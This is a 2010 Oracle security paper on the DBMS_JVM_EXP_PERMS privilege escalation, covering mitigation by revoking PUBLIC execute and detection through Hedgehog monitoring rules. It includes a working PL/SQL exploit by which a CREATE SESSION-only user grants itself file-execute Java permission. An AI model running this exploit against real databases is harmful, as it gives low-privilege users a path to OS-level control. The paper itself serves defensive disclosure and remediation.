Securing Java In Oracle

Securing Java In Oracle ~ Paul M. Wright ~ www.oraclesecurity.com 1

Securing Java In Oracle ~ Paul M. Wright - Sunday 7th February 2010

For www.oraclesecurity.com

Contents The DBMS_JVM_EXP_PERMS vulnerability .......................................1 How to test the PUBLIC revocation of DBMS_JVM_EXP_PERMS..............3 Analysis of the generic vulnerability and long term solution ................7 DAMS for securing change management..........................................8 Conclusion..............................................................................8 References .............................................................................9 Appendix A ........................................................................... 10 Figure 1 Dependencies from DBMS_JVM_EXP_PERMS calling other packages .... 4 Figure 2 Dependencies from other packages calling DBMS_JVM_EXP_PERMS .... 4 Figure 3 Dependencies called by DBMS_JVM_EXP_PERMS when executed ....... 6

Introduction New Oracle Java security research has been published at the February 2010 Blackhat DC conference1 which shows how to escalate privilege from CREATE SESSION to DBA via the DBMS_JVM_EXP_PERMS package associated with the Aurora JVM built into the Oracle DB. Exploit code has also been published on a number of blogs. In the absence of a patch from Oracle this paper provides information on how to fix these vulnerabilities which occur in both 10g and 11g.

The DBMS_JVM_EXP_PERMS vulnerability At the centre of this new research is the vulnerability that any user with just CREATE SESSION can import their own Java permissions into Oracle using the DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS procedure which has execute granted to PUBLIC by default. Exploit code for the above has been made publicly available since Mr Litchfield’s talk on web sites such as Red Database Security2. However there has been code for this issue available on Metalink since the 5th of March 2009 in Doc ID:787878.13.

1

https://media.blackhat.com/bh-dc-10/video/Litchfield_David/BlackHat-DC-2010-Litchfield-DefeatSSL-video.mov 2 http://blog.red-database-security.com/2010/02/04/oracle-11g-0day-exploit-published/ 3 https://supporthtml.oracle.com/ep/faces/secure/km/DocumentDisplay.jspx?id=787878.1


Before discussing solutions, it should be noted that the DBMS_JVM_EXP_PERMS vulnerability affects 10.2.0.4.x as well as 11.x. So any user in 10.2.0.4.3 can grant themselves any Java privilege. Let’s confirm that with some code. SQL> SELECT * FROM V$VERSION; BANNER ---------------------------------------------------------------- Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - Prod PL/SQL Release 10.2.0.4.0 - Production CORE 10.2.0.4.0 Production TNS for Linux: Version 10.2.0.4.0 - Production NLSRTL Version 10.2.0.4.0 - Production SQL> select comments from dba_registry_history; COMMENTS ------------------------------------------------------------------ Upgraded from 10.2.0.1.0 PSU 10.2.0.4.3 6 rows selected. SQL> CREATE USER privtest IDENTIFIED BY privtest; User created. SQL> GRANT CREATE SESSION TO privtest; Grant succeeded. SQL> conn privtest/privtest@db10g; Connected. SQL> SELECT grantee_name FROM user_java_policy WHERE NAME='<<ALL FILES>>'; no rows selected SQL> DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / DECLARE * ERROR at line 1: ORA-29532: Java call terminated by uncaught Java exception: java.lang.SecurityException: policy table update java.lang.RuntimePermission, loadLibrary.* ORA-06512: at "SYS.DBMS_JVM_EXP_PERMS", line 189 ORA-06512: at line 8 SQL> SELECT grantee_name FROM user_java_policy WHERE NAME='<<ALL FILES>>'; GRANTEE_NAME ------------------------------ PRIVTEST

So privtest user with just CREATE SESSION has been able to grant themselves execute on all OS files on 10.2.0.4.3.


The way that Java privileges are meant to be granted is via the dbms_java.grant_permission procedure which fails below as the privtest user does not hold the JAVA_ADMIN role required to do this, as it has not been granted the DBA role (which in turn holds the JAVA_ADMIN role). SQL> call dbms_java.grant_permission('PRIVTEST','SYS:java.io.FilePermission','<<ALL FILES>>', 'execute'); call dbms_java.grant_permission('PRIVTEST','SYS:java.io.FilePermission','<<ALL FILES>>', 'execute') * ERROR at line 1: ORA-29532: Java call terminated by uncaught Java exception: java.lang.SecurityException: policy table update SYS:java.io.FilePermission, <<ALL FILES>>

In other words only DBAs are meant to be able to grant Java privileges in Oracle as below. SQL> CONN SYSTEM/MANAGER@DB10G Connected. SQL> call dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>', 'write'); Call completed.

Restricting Java privileges administration to just DBAs is for a good reason because these privileges can be used to run OS commands as the Oracle user as discussed in the rest of NGS’s Blackhat presentation and in the ”JAVA_ADMIN to OSDBA” paper 4 back in August 2009. Therefore the ability to grant oneself arbitrary Java privileges should be revoked from PUBLIC, as long as this action does not cause a greater overall risk to the application’s availability and performance?

How to test the PUBLIC revocation of DBMS_JVM_EXP_PERMS DBMS_JVM_EXP_PERMS is part of the functionality of the DB for importing and exporting privileges from one DB to another but there are some interesting questions about this package.

1. Why is DBMS_JVM_EXP_PERMS not properly documented? 2. Why is DBMS_JVM_EXP_PERMS not wrapped? 3. Why is PUBLIC execute granted on DBMS_JVM_EXP_PERMS? 4. Most importantly how best to fix the issue without affecting the

availability and performance of other applications? The obvious solution to the issue is to revoke public execute. CONN SYSTEM/MANAGER; REVOKE EXECUTE ON DBMS_JVM_EXP_PERMS FROM PUBLIC; But the effect of the change has to be tested beforehand as the PUBLIC privilege may be there for good reasons (see later analysis). So what would be the effect of revoking this PUBLIC execute ~ will it break currently functionality? This is a tough question as the package is not properly documented. How can we be sure that the privilege 4 http://www.oracleforensics.com/wordpress/index.php/2009/08/31/java_admin-to-osdba/


revocation does not break a dependency either in the default code produced by Oracle or by additional development code produced internally? Figure 1 Dependencies from DBMS_JVM_EXP_PERMS calling other packages

Figure 2 Dependencies from other packages calling DBMS_JVM_EXP_PERMS


So we can see that DBMS_JVM_EXP_PERMS calls a number of packages but is not called by other packages in the second screenshot according to DBA_DEPENDENCIES which can be confirmed using UTLDTREE as follows.. SQL> exec deptree_fill('PACKAGE','SYS','DBMS_JVM_EXP_PERMS'); PL/SQL procedure successfully completed. SQL> SELECT * FROM IDEPTREE; DEPENDENCIES --------------------------------------------------------------------- PACKAGE BODY SYS.DBMS_JVM_EXP_PERMS SYNONYM PUBLIC.DBMS_JVM_EXP_PERMS PACKAGE SYS.DBMS_JVM_EXP_PERMS -- As an additional check we can all easily read through the source and find out what the package does as the package is not wrapped. SQL> select text from dba_source where name='DBMS_JVM_EXP_PERMS'; TEXT ------------------------------------------------------------------- package DBMS_JVM_EXP_PERMS as TYPE temp_rec is record ( kind dba_java_policy.kind%TYPE, grantee dba_java_policy.grantee%TYPE, SNIP What information we can find says that the package is not used but it would be better to be able to see for real if the package is actually used by other packages within Oracle and it’s many software add-ons in real time. Let’s write a Hedgehog (HH) rule to monitor DBMS_JVM_EXP_PERMS.

Object=‘SYS.DBMS_JVM_EXP_PERMS’ Note that the above rule only triggers when DBMS_JVM_EXP_PERMS is successfully executed. This rule is good for profiling the use of the package, but to alert to failed attempts to exploit the package, HH must alert on the text of the SQL statement as follows.

Statement matches‘DBMS_JVM_EXP_PERMS’ The statement rule will alert even if the executing statement fails. A way to test this statement is as follows. This will trigger the second rule to alert but not the first.

Select ‘DBMS_JVM_EXP_PERMS’from dual; So let’s run the exploit code and see what Hedgehog picks up in terms of dependencies called.


Figure 3 Dependencies called by DBMS_JVM_EXP_PERMS when executed

Additionally and very usefully Hedgehog will alert if the DBMS_JVM_EXP_PERMS package is called as a dependency by ANY OTHER package. I have ran this rule for a number months on DBMS_JVM_EXP_PERMS and there have been no calls made to this package during that time, even during schema and metadata datapump activity (see Appendix A). Basic Datapump functionality still works despite revoking PUBLIC execute. Of course the same process of monitoring calls to the package on your own system using Hedgehog should be carried out first as there may be a good reason for the delay in Oracle applying the same fix in the CPU/PSU patches. This same process of Application Activity Monitoring can be used for the 11g packages which are also the subject of NGS’s research, namely DBMS_JAVA and DBMS_JAVA_TEST. So same again, monitor all activity on the packages, what accounts needs them and then grant to those users and revoke from PUBLIC. This is low risk security change management which speeds up the mitigation process.


Analysis of the generic vulnerability and long term solution DBMS_JVM_EXP_PERMS is an interesting vulnerability as it is simple enough to exemplify perfectly the actual generic problem underlying this and the majority of privilege escalations in the Oracle Database i.e. execute grants on SYS packages to PUBLIC. SELECT Count(*) FROM dba_tab_privs WHERE grantee='PUBLIC' AND owner='SYS'; 17869 for 10g 23646 for 11g –- problem is getting worse! This is an old chestnut which is supposedly a simple and well understood problem but it is getting worse. Why? Is this simply a case of not implementing the Secure Development Life Cycle (SDLC), where security should be considered by developers when the package is first developed? Partly, but that would be an oversimplification. I think the main reason for the original and continued existence of PUBLIC executes such as DBMS_JVM_EXP_PERMS is that roles are disabled via Definer’s Rights. Therefore the only way for developers to pass privileges between packages is to EITHER individually grant all privileges to all accounts involved in a chain of dependencies OR to grant to PUBLIC. Additionally future user’s packages may need that execute and a specific object grant cannot be made to a schema owning user that does not exist yet. Thus PUBLIC is the most convenient method of passing on privilege to.

1. Groups of schema owning users that can pass privilege on via definer’s rights 2. Users that do not exist yet but will do in the future

In addition to SDLC and awareness training the developers have to be given the actual tools required to create a secure privilege structure that meets requirements. What needs to be done is the functionality provided by the PUBLIC role needs to be made more fine-grained so that it is not just a case of “all or nothing”. Customisable “Definer’s Rights Roles”5 that allow inheritance of Role based privileges through dependencies between packages would enable PUBLIC to be used for what it was originally intended i.e. a collection of harmless privileges that any user could have. So for instance we could create a Datapump Definer Role that would enable grantees to offer these privileges in packages within their schema to other users via Definer’s rights. Of course the threat posed by PUBLIC being the only way to inherit Definer’s rights “en-masse” is exacerbated by the lack of an easy to use DENY statement. The combinatory effect of making PUBLIC the only convenient way to get Definer’s privilege dependencies to work along with the inability to easily DENY access to a specific user/role should in the Author’s opinion be at the core of an improvement strategy for Oracle Database Security. Especially when the database offers such functional Java APIs to access the OS, thus bypassing all DB access control.

5 http://www.oracleforensics.com/wordpress/index.php/2009/11/22/public-role-and-definer-rights/


So had the DBMS_JVM_EXP_PERMS PUBLIC execute originally been granted by a mistaken development bad habit, OR to save time working out the correct privileges OR does the package need to have PUBLIC execute in order for the chain of dependencies to work correctly in the future? This was answered by actually monitoring all calls to and from the package via Sentrigo Hedgehog and it was shown that PUBLIC execute could be revoked safely, for the system monitored. Therefore the Database Activity Monitoring System (DAMS) is not only securing by monitoring user and application activity, it is also securing by enabling the system owners to understand how the DB works and to monitor the effect of future changes before they are implemented. This speeds up the SDLC, release processes and lowers risk of making changes.

DAMS for securing change management Monitoring the chain of dependencies within Oracle is a good way of understanding how Oracle DB internals actually work. Being able to monitor dependencies and application activity within the DB is very useful when planning a change to the privilege structure. Also linking the change management approval process, usually via a ticketing system, to the actual implementation within the DB can provide change management verification. So if a security sensitive action is alerted to in the DAMS the alert can be resolved to the change management ticket. If there isn’t a ticket then resolve via the incident response process. Additionally, working the other way, it can be verified that all approved changes have actually been done by resolving all change tickets with the Hedgehog alert that observed the change taking place. This is the process of integrating a DAMS system into the business and is only meaningful when the DAMS system is reliable and precise enough to eliminate false positive and false negative. More on this and how to use DAMS for Data Leak Prevention in the SANS course by the Author 6 as featured in the UKOUG’s SCENE Journal 7.

Conclusion This paper has discussed the implications of the DBMS_JVM_EXP_PERMS vulnerability and shown how to verify that the fix for the DBMS_JVM_EXP_PERMS vulnerability will not affect the workings of your Oracle database by using a DAMS to monitor related activity. This same process can be used for all security fixes. Additionally a rule to alert to attempted exploitation of the DBMS_JVM_EXP_PERMS vulnerability was demonstrated. This paper went on to analyse the underlying generic problem of PUBLIC executes on SYS packages and how Oracle might seek to stop other vulnerabilities of the same nature in the future. Lastly it has also shown how the same process of fix verification using a DAMS can be used for all security sensitive actions to verify that they are approved as part of a change management system as it becomes integrated into the business processes of an organisation. Database transparency increases real security and facilitates change in a shorter time. Updates to this article will be available at www.oraclesecurity.com 8.

6 http://www.sans.org/security-training/database-activity-monitoring-systems-3602-tid 7 http://www.ukoug.org/publications/index.jsp?parent=0&id=1 8 http://www.oraclesecurity.com


References

1. http://www.oracle.com/us/sun/index.htm 2. http://www.ngssoftware.com 3. https://media.blackhat.com/bh-dc-10/video/Litchfield_David/BlackHat-DC-2010-Litchfield-DefeatSSL-video.mov 4. http://blog.red-database-security.com/2010/02/04/oracle-11g-0day-exploit-published/ 5. https://supporthtml.oracle.com/ep/faces/secure/km/DocumentDisplay.jspx?id=787878.1 6. http://www.oracleforensics.com/wordpress/index.php/2009/08/31/java_admin-to-osdba/ 7. http://www.oracleforensics.com/wordpress/index.php/2009/11/22/public-role-and-definer-rights/ 8. http://www.sans.org/security-training/database-activity-monitoring-systems-3602-tid 9. http://www.ukoug.org/publications/index.jsp?parent=0&id=1 (November 2009 Edition of SCENE)

10. http://www.oraclesecurity.com

11. http://www.oracle-base.com/articles/10g/OracleDataPump10g.php

Important Caveat: The above paper was written in the current absence of patching advice from Oracle Corp and is intended only as guidance. Please consult with your own support channels in the first instance. Additionally the above paper does not represent my past or current employers in any shape or form. Any questions regarding the paper please contact [email protected]


Appendix A SQL> SELECT * FROM DBA_TAB_PRIVS WHERE TABLE_NAME='DBMS_JVM_EXP_PERMS'; no rows selected SQL> SET SERVEROUTPUT ON SIZE 1000000 SQL> DECLARE 2 l_dp_handle NUMBER; 3 l_last_job_state VARCHAR2(30) := 'UNDEFINED'; 4 l_job_state VARCHAR2(30) := 'UNDEFINED'; 5 l_sts KU$_STATUS; 6 BEGIN 7 l_dp_handle := DBMS_DATAPUMP.open( 8 operation => 'EXPORT', 9 job_mode => 'SCHEMA', 10 remote_link => NULL, 11 job_name => 'EMP_EXPORT996', 12 version => 'LATEST'); 13 14 DBMS_DATAPUMP.add_file( 15 handle => l_dp_handle, 16 filename => 'SCOTT23.dmp', 17 directory => 'DATA_ARCHIVE_DIR2'); 18 19 DBMS_DATAPUMP.add_file( 20 handle => l_dp_handle, 21 filename => 'SCOTT23.log', 22 directory => 'DATA_ARCHIVE_DIR2', 23 filetype => DBMS_DATAPUMP.KU$_FILE_TYPE_LOG_FILE); 24 25 DBMS_DATAPUMP.metadata_filter( 26 handle => l_dp_handle, 27 name => 'SCHEMA_EXPR', 28 value => '=''SCOTT'''); 29 30 DBMS_DATAPUMP.start_job(l_dp_handle); 31 32 DBMS_DATAPUMP.detach(l_dp_handle); 33 END; 34 / PL/SQL procedure successfully completed. --(make sure the output files don't already exist). --This was also tested with a full metadata export. (Note this code was put together mainly from this Dr Hall’s excellent web site http://www.oracle-base.com/articles/10g/OracleDataPump10g.php)

Documents

Securing Java In Oracle